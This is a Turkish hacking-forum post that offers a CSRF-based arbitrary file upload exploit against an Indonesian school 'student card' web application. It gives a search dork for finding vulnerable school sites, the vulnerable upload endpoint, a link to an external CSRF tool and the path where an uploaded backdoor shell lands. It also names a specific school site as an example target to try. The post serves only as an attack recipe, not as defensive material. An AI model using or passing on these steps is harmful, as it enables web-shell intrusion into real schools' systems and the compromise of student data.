CSRF Güncel Exploit (1 Viewer)

Morningstar · Ocak 13, 2021

Aplikasi Kartu Pelajar Vulnerability arbitrary file upload with CSRF

[+]Exploit title: CSRF(indonesian okulları)
[+]Author : Draven
[+]Dork : intext:Responsive image aplikasi kartu pelajar site:sch.id

[+] Exploit: kartu.localcrot.sch.id/user/aksi/ubah_pelajar.php

Eğer "Data Berhasil di Ubah" hatası verirse bu sitede upload izni vardır ve shell atma yetkimiz vardır.

[+] CSRF :

https://tools.xploitsecid.or(.)id/Exploit/CSRF

[!] Dosya Lokasyonu :

Dosyayı bu lokasyonu kullanarak yükleyeceksiniz;

kartu.localcrot.sch.id/img/your_backdoor.php

[!] Örnek : http://kartu.mit-alishlah.sch.id/user/aksi/ubah_pelajar.php
[!] Bunda deneyebilirsiniz :